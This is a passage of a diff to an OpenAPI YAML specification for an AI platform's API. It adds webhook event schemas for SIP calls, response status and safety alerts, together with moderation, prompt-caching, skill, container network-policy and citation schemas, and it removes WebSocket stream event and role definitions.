+ Sent when an incoming API SIP session is available for Live acceptance. The
+ same pending session can also emit `realtime.call.incoming`; the first
+ successful Realtime or Live accept endpoint selects the runtime surface.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the event was created.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - session_id
+ - sip_headers
properties:
- stream_id:
+ session_id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseMcpCallArgumentsWsDelta
- description: |
- Emitted when there is a delta (partial update) to the arguments of an MCP tool call.
- allOf:
- - $ref: '#/components/schemas/ResponseMCPCallArgumentsDeltaEvent'
- - type: object
- properties:
- stream_id:
- type: string
+ The `live_...` ID of the pending SIP session. Pass this value unchanged
+ to Live call controls and sideband connections. The corresponding
+ `realtime.call.incoming` event uses a separate `rtc_...` call ID.
+ sip_headers:
+ type: array
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseMcpCallArgumentsWsDone
- description: |
- Emitted when the arguments for an MCP tool call are finalized.
- allOf:
- - $ref: '#/components/schemas/ResponseMCPCallArgumentsDoneEvent'
- - type: object
+ Headers from the SIP INVITE, excluding SIP authorization headers.
+ Retained names, values, repeated entries, and order are preserved.
+ Treat these values as untrusted call metadata.
+ items:
+ type: object
+ description: |
+ A header from the SIP Invite.
+ required:
+ - name
+ - value
+ properties:
+ name:
+ type: string
+ description: |
+ Name of the SIP Header.
+ value:
+ type: string
+ description: |
+ Value of the SIP Header.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `live.call.incoming`.
+ enum:
+ - live.call.incoming
+ x-stainless-const: true
+ x-oaiMeta:
+ name: live.call.incoming
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "live.call.incoming",
+ "created_at": 1719168000,
+ "data": {
+ "session_id": "live_u0_479a275623b54bdb9b6fbae2f7cbd408",
+ "sip_headers": [
+ {"name": "From", "value": ";tag=abc123"},
+ {"name": "To", "value": ""},
+ {"name": "Call-ID", "value": "call-123@example.com"}
+ ]
+ }
+ }
+ WebhookLiveTransportIncoming:
+ type: object
+ title: live.transport.incoming
+ description: |
+ Sent when an incoming API SIP session is available for Live acceptance. The
+ same pending session can also emit `realtime.call.incoming`; the first
+ successful Realtime or Live accept endpoint selects the runtime surface.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the event was created.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - type
+ - session_id
+ - sip_headers
properties:
- stream_id:
+ type:
type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseMcpCallWsCompleted
- description: |
- Emitted when an MCP tool call has completed successfully.
- allOf:
- - $ref: '#/components/schemas/ResponseMCPCallCompletedEvent'
- - type: object
- properties:
- stream_id:
+ description: The incoming transport type. Always `sip`.
+ enum:
+ - sip
+ x-stainless-const: true
+ session_id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseMcpCallWsFailed
- description: |
- Emitted when an MCP tool call has failed.
- allOf:
- - $ref: '#/components/schemas/ResponseMCPCallFailedEvent'
- - type: object
- properties:
- stream_id:
- type: string
+ The `live_...` ID of the pending SIP session. Forward this value
+ unchanged when accepting or rejecting the call through the Live API.
+ sip_headers:
+ type: array
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseMcpCallInWsProgress
- description: |
- Emitted when an MCP tool call is in progress.
- allOf:
- - $ref: '#/components/schemas/ResponseMCPCallInProgressEvent'
- - type: object
+ Headers from the SIP INVITE, excluding SIP authorization headers.
+ Retained names, values, repeated entries, and order are preserved.
+ Treat these values as untrusted call metadata.
+ items:
+ type: object
+ description: |
+ A header from the SIP Invite.
+ required:
+ - name
+ - value
+ properties:
+ name:
+ type: string
+ description: |
+ Name of the SIP Header.
+ value:
+ type: string
+ description: |
+ Value of the SIP Header.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `live.transport.incoming`.
+ enum:
+ - live.transport.incoming
+ x-stainless-const: true
+ x-oaiMeta:
+ name: live.transport.incoming
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "live.transport.incoming",
+ "created_at": 1719168000,
+ "data": {
+ "type": "sip",
+ "session_id": "live_u0_479a275623b54bdb9b6fbae2f7cbd408",
+ "sip_headers": [
+ {"name": "From", "value": ";tag=abc123"},
+ {"name": "To", "value": ""},
+ {"name": "Call-ID", "value": "call-123@example.com"}
+ ]
+ }
+ }
+ WebhookRealtimeCallIncoming:
+ type: object
+ title: realtime.call.incoming
+ description: |
+ Sent when an incoming API SIP session is available for Realtime acceptance.
+ The same pending session can also emit `live.transport.incoming`; the first
+ successful Realtime or Live accept endpoint selects the runtime surface.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the model response was completed.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - call_id
+ - sip_headers
properties:
- stream_id:
+ call_id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseMcpListToolsWsCompleted
- description: |
- Emitted when the list of available MCP tools has been successfully retrieved.
- allOf:
- - $ref: '#/components/schemas/ResponseMCPListToolsCompletedEvent'
- - type: object
- properties:
- stream_id:
- type: string
+ The Transceiver `rtc_...` ID of the pending SIP session. The paired
+ `live.transport.incoming` event derives its `session_id` by replacing the
+ `rtc_` prefix with `live_`. Use the ID returned by the event with the
+ corresponding Realtime or Live API.
+ sip_headers:
+ type: array
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseMcpListToolsWsFailed
- description: |
- Emitted when the attempt to list available MCP tools has failed.
- allOf:
- - $ref: '#/components/schemas/ResponseMCPListToolsFailedEvent'
- - type: object
+ Headers from the SIP INVITE, excluding SIP authorization headers.
+ Retained names, values, repeated entries, and order are preserved.
+ Treat these values as untrusted call metadata.
+ items:
+ type: object
+ description: |
+ A header from the SIP Invite.
+ required:
+ - name
+ - value
+ properties:
+ name:
+ type: string
+ description: |
+ Name of the SIP Header.
+ value:
+ type: string
+ description: |
+ Value of the SIP Header.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `realtime.call.incoming`.
+ enum:
+ - realtime.call.incoming
+ x-stainless-const: true
+ x-oaiMeta:
+ name: realtime.call.incoming
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "realtime.call.incoming",
+ "created_at": 1719168000,
+ "data": {
+ "call_id": "rtc_479a275623b54bdb9b6fbae2f7cbd408",
+ "sip_headers": [
+ {"name": "Max-Forwards", "value": "63"},
+ {"name": "CSeq", "value": "851287 INVITE"},
+ {"name": "Content-Type", "value": "application/sdp"}
+ ]
+ }
+ }
+ WebhookResponseCancelled:
+ type: object
+ title: response.cancelled
+ description: |
+ Sent when a background response has been cancelled.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the model response was cancelled.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseMcpListToolsInWsProgress
- description: |
- Emitted when the system is in the process of retrieving the list of available MCP tools.
- allOf:
- - $ref: '#/components/schemas/ResponseMCPListToolsInProgressEvent'
- - type: object
+ The unique ID of the model response.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `response.cancelled`.
+ enum:
+ - response.cancelled
+ x-stainless-const: true
+ x-oaiMeta:
+ name: response.cancelled
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "response.cancelled",
+ "created_at": 1719168000,
+ "data": {
+ "id": "resp_abc123"
+ }
+ }
+ WebhookResponseCompleted:
+ type: object
+ title: response.completed
+ description: |
+ Sent when a background response has been completed.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the model response was completed.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseOutputTextAnnotationWsAdded
- description: |
- Emitted when an annotation is added to output text content.
- allOf:
- - $ref: '#/components/schemas/ResponseOutputTextAnnotationAddedEvent'
- - type: object
+ The unique ID of the model response.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `response.completed`.
+ enum:
+ - response.completed
+ x-stainless-const: true
+ x-oaiMeta:
+ name: response.completed
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "response.completed",
+ "created_at": 1719168000,
+ "data": {
+ "id": "resp_abc123"
+ }
+ }
+ WebhookResponseFailed:
+ type: object
+ title: response.failed
+ description: |
+ Sent when a background response has failed.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the model response failed.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseWsQueued
- description: |
- Emitted when a response is queued and waiting to be processed.
- allOf:
- - $ref: '#/components/schemas/ResponseQueuedEvent'
- - type: object
+ The unique ID of the model response.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `response.failed`.
+ enum:
+ - response.failed
+ x-stainless-const: true
+ x-oaiMeta:
+ name: response.failed
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "response.failed",
+ "created_at": 1719168000,
+ "data": {
+ "id": "resp_abc123"
+ }
+ }
+ WebhookResponseIncomplete:
+ type: object
+ title: response.incomplete
+ description: |
+ Sent when a background response has been interrupted.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the model response was interrupted.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseCustomToolCallInputWsDelta
- description: |
- Event representing a delta (partial update) to the input of a custom tool call.
- allOf:
- - $ref: '#/components/schemas/ResponseCustomToolCallInputDeltaEvent'
- - type: object
+ The unique ID of the model response.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `response.incomplete`.
+ enum:
+ - response.incomplete
+ x-stainless-const: true
+ x-oaiMeta:
+ name: response.incomplete
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "response.incomplete",
+ "created_at": 1719168000,
+ "data": {
+ "id": "resp_abc123"
+ }
+ }
+ WebhookSafetyAlertCreated:
+ type: object
+ title: safety.alert.created
+ description: Sent when an approved safety alert is available for an API project.
+ required:
+ - id
+ - object
+ - created_at
+ - type
+ - data
+ properties:
+ id:
+ type: string
+ description: The unique ID of the webhook event.
+ object:
+ type: string
+ enum:
+ - event
+ x-stainless-const: true
+ description: Always `event`.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp in seconds when the event was created.
+ type:
+ type: string
+ enum:
+ - safety.alert.created
+ x-stainless-const: true
+ description: Always `safety.alert.created`.
+ data:
+ type: object
+ additionalProperties: false
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseCustomToolCallInputWsDone
- description: |
- Event indicating that input for a custom tool call is complete.
- allOf:
- - $ref: '#/components/schemas/ResponseCustomToolCallInputDoneEvent'
- - type: object
+ pattern: ^alert_[0-9a-f]{32}$
+ description: The safety alert ID to pass to `GET /v1/safety/alerts/{id}`.
+ x-oaiMeta:
+ name: safety.alert.created
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_123",
+ "object": "event",
+ "created_at": 1787659200,
+ "type": "safety.alert.created",
+ "data": {"id": "alert_0123456789abcdef0123456789abcdef"}
+ }
+ WebhookSafetyOrgAlertCreated:
+ type: object
+ title: safety.org_alert.created
+ description: Sent when an approved safety alert is available for an enterprise workspace.
+ required:
+ - id
+ - object
+ - created_at
+ - type
+ - data
+ properties:
+ id:
+ type: string
+ description: The unique ID of the webhook event.
+ object:
+ type: string
+ enum:
+ - event
+ x-stainless-const: true
+ description: Always `event`.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp in seconds when the event was created.
+ type:
+ type: string
+ enum:
+ - safety.org_alert.created
+ x-stainless-const: true
+ description: Always `safety.org_alert.created`.
+ data:
+ type: object
+ additionalProperties: false
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - $ref: '#/components/schemas/ResponseWsError'
- - $ref: '#/components/schemas/ResponseSteerAcceptedEvent'
- - $ref: '#/components/schemas/ResponseSteerPendingEvent'
- - $ref: '#/components/schemas/ResponseSteerFailedEvent'
- ResponsesWebSocketStreamEvent:
- allOf:
- - anyOf:
- - $ref: '#/components/schemas/ResponseAudioDeltaEvent'
- - $ref: '#/components/schemas/ResponseAudioDoneEvent'
- - $ref: '#/components/schemas/ResponseAudioTranscriptDeltaEvent'
- - $ref: '#/components/schemas/ResponseAudioTranscriptDoneEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDeltaEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDoneEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
- - $ref: '#/components/schemas/ResponseCompletedEvent'
- - $ref: '#/components/schemas/ResponseContentPartAddedEvent'
- - $ref: '#/components/schemas/ResponseContentPartDoneEvent'
- - $ref: '#/components/schemas/ResponseCreatedEvent'
- - $ref: '#/components/schemas/ResponseFileSearchCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseFileSearchCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
- - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/ResponseShellCallCommandAddedStreamingEvent'
- - $ref: '#/components/schemas/ResponseShellCallCommandDeltaStreamingEvent'
- - $ref: '#/components/schemas/ResponseShellCallCommandDoneStreamingEvent'
- - $ref: '#/components/schemas/ResponseShellCallOutputContentDeltaStreamingEvent'
- x-stainless-skip:
- - go
- - $ref: '#/components/schemas/ResponseShellCallOutputContentDoneStreamingEvent'
- - $ref: '#/components/schemas/ResponseInProgressEvent'
- - $ref: '#/components/schemas/ResponseFailedEvent'
- - $ref: '#/components/schemas/ResponseIncompleteEvent'
- - $ref: '#/components/schemas/ResponseOutputItemAddedEvent'
- - $ref: '#/components/schemas/ResponseOutputItemDoneEvent'
- - $ref: '#/components/schemas/ResponseReasoningSummaryPartAddedEvent'
- - $ref: '#/components/schemas/ResponseReasoningSummaryPartDoneEvent'
- - $ref: '#/components/schemas/ResponseReasoningSummaryTextDeltaEvent'
- - $ref: '#/components/schemas/ResponseReasoningSummaryTextDoneEvent'
- - $ref: '#/components/schemas/ResponseReasoningTextDeltaEvent'
- - $ref: '#/components/schemas/ResponseReasoningTextDoneEvent'
- - $ref: '#/components/schemas/ResponseRefusalDeltaEvent'
- - $ref: '#/components/schemas/ResponseRefusalDoneEvent'
- - $ref: '#/components/schemas/ResponseTextDeltaEvent'
- - $ref: '#/components/schemas/ResponseTextDoneEvent'
- - $ref: '#/components/schemas/ResponseWebSearchCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseWebSearchCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseWebSearchCallSearchingEvent'
- - $ref: '#/components/schemas/ResponseImageGenCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseImageGenCallGeneratingEvent'
- - $ref: '#/components/schemas/ResponseImageGenCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseImageGenCallPartialImageEvent'
- - $ref: '#/components/schemas/ResponseMCPCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/ResponseMCPCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/ResponseMCPCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseMCPCallFailedEvent'
- - $ref: '#/components/schemas/ResponseMCPCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseMCPListToolsCompletedEvent'
- - $ref: '#/components/schemas/ResponseMCPListToolsFailedEvent'
- - $ref: '#/components/schemas/ResponseMCPListToolsInProgressEvent'
- - $ref: '#/components/schemas/ResponseOutputTextAnnotationAddedEvent'
- - $ref: '#/components/schemas/ResponseQueuedEvent'
- - $ref: '#/components/schemas/ResponseCustomToolCallInputDeltaEvent'
- - $ref: '#/components/schemas/ResponseCustomToolCallInputDoneEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- Role:
+ pattern: ^alert_[0-9a-f]{32}$
+ description: The safety alert ID to pass to `GET /v1/safety/alerts/{id}`.
+ x-oaiMeta:
+ name: safety.org_alert.created
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_123",
+ "object": "event",
+ "created_at": 1787659200,
+ "type": "safety.org_alert.created",
+ "data": {"id": "alert_0123456789abcdef0123456789abcdef"}
+ }
+ ModerationInputType:
+ type: string
+ enum:
+ - text
+ - image
+ ModerationResultBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - moderation_result
+ description: The object type, which was always `moderation_result` for successful moderation results.
+ default: moderation_result
+ x-stainless-const: true
+ model:
+ type: string
+ description: The moderation model that produced this result.
+ flagged:
+ type: boolean
+ description: A boolean indicating whether the content was flagged by any category.
+ categories:
+ additionalProperties:
+ type: boolean
+ type: object
+ description: A dictionary of moderation categories to booleans, True if the input is flagged under this category.
+ x-oaiTypeLabel: map
+ category_scores:
+ additionalProperties:
+ type: number
+ type: object
+ description: A dictionary of moderation categories to scores.
+ x-oaiTypeLabel: map
+ category_applied_input_types:
+ additionalProperties:
+ items:
+ $ref: '#/components/schemas/ModerationInputType'
+ type: array
+ type: object
+ description: Which modalities of input are reflected by the score for each category.
+ x-oaiTypeLabel: map
+ type: object
+ required:
+ - type
+ - model
+ - flagged
+ - categories
+ - category_scores
+ - category_applied_input_types
+ title: Moderation result
+ description: A moderation result produced for the response input or output.
+ PromptCacheTTLEnum:
+ type: string
+ enum:
+ - 30m
+ PromptCacheModeEnum:
+ type: string
+ enum:
+ - implicit
+ - explicit
+ PromptCacheOptionsParam:
+ properties:
+ ttl:
+ $ref: '#/components/schemas/PromptCacheTTLEnum'
+ description: The minimum lifetime applied to every implicit and explicit cache breakpoint written by the request. Defaults to `30m`, which is currently the only supported value. The backend may retain cache entries for longer.
+ mode:
+ $ref: '#/components/schemas/PromptCacheModeEnum'
+ description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
+ type: object
+ required: []
+ title: Prompt cache options
+ description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
+ PromptCacheBreakpointParam:
+ properties:
+ mode:
+ type: string
+ enum:
+ - explicit
+ description: The breakpoint mode. Always `explicit`.
+ default: explicit
+ x-stainless-const: true
+ type: object
+ required:
+ - mode
+ title: Prompt cache breakpoint
+ description: Marks the exact end of a reusable prompt prefix. The breakpoint inherits its TTL from the request's `prompt_cache_options.ttl`; the boundary is not rounded to a token block.
+ ModerationMode:
+ type: string
+ enum:
+ - score
+ - block
+ ModerationConfigParam:
+ properties:
+ mode:
+ $ref: '#/components/schemas/ModerationMode'
type: object
- description: Details about a role that can be assigned through the public Roles API.
+ required:
+ - mode
+ description: The moderation policy for the response input.
+ ModerationPolicyParam:
properties:
- object:
+ input:
+ anyOf:
+ - $ref: '#/components/schemas/ModerationConfigParam'
+ description: The moderation policy for the response input.
+ - type: 'null'
+ output:
+ anyOf:
+ - $ref: '#/components/schemas/ModerationConfigParam'
+ description: The moderation policy for the response output.
+ - type: 'null'
+ type: object
+ required: []
+ description: The policy to apply to moderated response input and output.
+ ModerationParam:
+ properties:
+ model:
+ type: string
+ description: The moderation model to use for moderated completions, e.g. 'omni-moderation-latest'.
+ policy:
+ anyOf:
+ - $ref: '#/components/schemas/ModerationPolicyParam'
+ description: The policy to apply to moderated response input and output.
+ - type: 'null'
+ type: object
+ required:
+ - model
+ description: Configuration for running moderation on the input and output of this response.
+ SkillReferenceParam:
+ properties:
+ type:
type: string
enum:
- - role
- description: Always `role`.
+ - skill_reference
+ description: References a skill created with the /v1/skills endpoint.
+ default: skill_reference
x-stainless-const: true
- id:
+ skill_id:
type: string
- description: Identifier for the role.
+ maxLength: 64
+ minLength: 1
+ description: The ID of the referenced skill.
+ version:
+ type: string
+ description: Optional skill version. Use a positive integer or 'latest'. Omit for default.
+ type: object
+ required:
+ - type
+ - skill_id
+ InlineSkillSourceParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - base64
+ description: The type of the inline skill source. Must be `base64`.
+ default: base64
+ x-stainless-const: true
+ media_type:
+ type: string
+ enum:
+ - application/zip
+ description: The media type of the inline skill payload. Must be `application/zip`.
+ default: application/zip
+ x-stainless-const: true
+ data:
+ type: string
+ maxLength: 70254592
+ minLength: 1
+ description: Base64-encoded skill zip bundle.
+ type: object
+ required:
+ - type
+ - media_type
+ - data
+ description: Inline skill payload
+ InlineSkillParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - inline
+ description: Defines an inline skill for this request.
+ default: inline
+ x-stainless-const: true
name:
type: string
- description: Unique name for the role.
+ description: The name of the skill.
description:
- description: Optional description of the role.
- anyOf:
- - type: string
- - type: 'null'
- permissions:
- type: array
- description: Permissions granted by the role.
- items:
- type: string
- resource_type:
type: string
- description: Resource type the role is bound to (for example `api.organization` or `api.project`).
- predefined_role:
- type: boolean
- description: Whether the role is predefined and managed by OpenAI.
+ description: The description of the skill.
+ source:
+ $ref: '#/components/schemas/InlineSkillSourceParam'
+ description: Inline skill payload
+ type: object
required:
- - object
- - id
+ - type
- name
- description
- - permissions
- - resource_type
- - predefined_role
- x-oaiMeta:
- name: The role object
- example: |
- {
- "object": "role",
- "id": "role_01J1F8ROLE01",
- "name": "API Group Manager",
- "description": "Allows managing organization groups",
- "permissions": [
- "api.groups.read",
- "api.groups.write"
- ],
- "resource_type": "api.organization",
- "predefined_role": false
- }
- RoleDeletedResource:
+ - source
+ ContainerNetworkPolicyDisabledParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - disabled
+ description: Disable outbound network access. Always `disabled`.
+ default: disabled
+ x-stainless-const: true
type: object
- description: Confirmation payload returned after deleting a role.
+ required:
+ - type
+ ContainerNetworkPolicyDomainSecretParam:
+ properties:
+ domain:
+ type: string
+ minLength: 1
+ description: The domain associated with the secret.
+ name:
+ type: string
+ minLength: 1
+ description: The name of the secret to inject for the domain.
+ value:
+ type: string
+ maxLength: 10485760
+ minLength: 1
+ description: The secret value to inject for the domain.
+ type: object
+ required:
+ - domain
+ - name
+ - value
+ ContainerNetworkPolicyAllowlistParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - allowlist
+ description: Allow outbound network access only to specified domains. Always `allowlist`.
+ default: allowlist
+ x-stainless-const: true
+ allowed_domains:
+ items:
+ type: string
+ type: array
+ minItems: 1
+ description: A list of allowed domains when type is `allowlist`.
+ domain_secrets:
+ items:
+ $ref: '#/components/schemas/ContainerNetworkPolicyDomainSecretParam'
+ type: array
+ minItems: 1
+ description: Optional domain-scoped secrets for allowlisted domains.
+ type: object
+ required:
+ - type
+ - allowed_domains
+ IncludeEnum:
+ type: string
+ enum:
+ - file_search_call.results
+ - web_search_call.results
+ - web_search_call.action.sources
+ - message.input_image.image_url
+ - computer_call_output.output.image_url
+ - code_interpreter_call.outputs
+ - reasoning.encrypted_content
+ - message.output_text.logprobs
+ description: |-
+ Specify additional output data to include in the model response. Currently supported values are:
+ - `web_search_call.results`: Include the search results of the web search tool call.
+ - `web_search_call.action.sources`: Include the sources of the web search tool call.
+ - `code_interpreter_call.outputs`: Includes the outputs of python code execution in code interpreter tool call items.
+ - `computer_call_output.output.image_url`: Include image urls from the computer call output.
+ - `file_search_call.results`: Include the search results of the file search tool call.
+ - `message.input_image.image_url`: Include image urls from the input message.
+ - `message.output_text.logprobs`: Include logprobs with assistant messages.
+ - `reasoning.encrypted_content`: Includes an encrypted version of reasoning tokens in reasoning item outputs. This enables reasoning items to be used in multi-turn conversations when using the Responses API statelessly (like when the `store` parameter is set to `false`, or when an organization is enrolled in the zero data retention program).
+ MessageStatus:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ MessageRole:
+ type: string
+ enum:
+ - unknown
+ - user
+ - assistant
+ - system
+ - critic
+ - discriminator
+ - developer
+ - tool
+ PromptCacheBreakpointConfig:
+ properties:
+ mode:
+ type: string
+ enum:
+ - explicit
+ description: The breakpoint mode. Always `explicit`.
+ default: explicit
+ x-stainless-const: true
+ type: object
+ required:
+ - mode
+ title: Prompt cache breakpoint
+ description: Marks the exact end of a reusable prompt prefix. The breakpoint inherits its TTL from the request's `prompt_cache_options.ttl`; the boundary is not rounded to a token block.
+ InputTextContent:
+ properties:
+ type:
+ type: string
+ enum:
+ - input_text
+ description: The type of the input item. Always `input_text`.
+ default: input_text
+ x-stainless-const: true
+ text:
+ type: string
+ description: The text input to the model.
+ prompt_cache_breakpoint:
+ $ref: '#/components/schemas/PromptCacheBreakpointConfig'
+ type: object
+ required:
+ - type
+ - text
+ title: Input text
+ description: A text input to the model.
+ FileCitationBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - file_citation
+ description: The type of the file citation. Always `file_citation`.
+ default: file_citation
+ x-stainless-const: true
+ file_id:
+ type: string
+ description: The ID of the file.
+ index:
+ type: integer
+ description: The index of the file in the list of files.
+ filename:
+ type: string
+ description: The filename of the file cited.
+ type: object
+ required:
+ - type
+ - file_id
+ - index
+ - filename
+ title: File citation
+ description: A citation to a file.
+ UrlCitationBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - url_citation
+ description: The type of the URL citation. Always `url_citation`.
+ default: url_citation
+ x-stainless-const: true
+ url:
+ type: string
+ format: uri
+ description: The URL of the web resource.
+ start_index:
+ type: integer
+ description: The index of the first character of the URL citation in the message.
+ end_index:
+ type: integer
+ description: The index of the last character of the URL citation in the message.
+ title:
+ type: string
+ description: The title of the web resource.
+ type: object
+ required:
+ - type
+ - url
+ - start_index
+ - end_index
+ - title
+ title: URL citation
+ description: A citation for a web resource used to generate a model response.
+ ContainerFileCitationBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - container_file_citation
+ description: The type of the container file citation. Always `container_file_citation`.
+ default: container_file_citation
+ x-stainless-const: true
+ container_id:
+ type: string
+ description: The ID of the container file.
+ file_id:
+ type: string
+ description: The ID of the file.
+ start_index:
+ type: integer
+ description: The index of the first character of the container file citation in the message.
+ end_index:
+ type: integer
+ description: The index of the last character of the container file citation in the message.
+ filename:
+ type: string
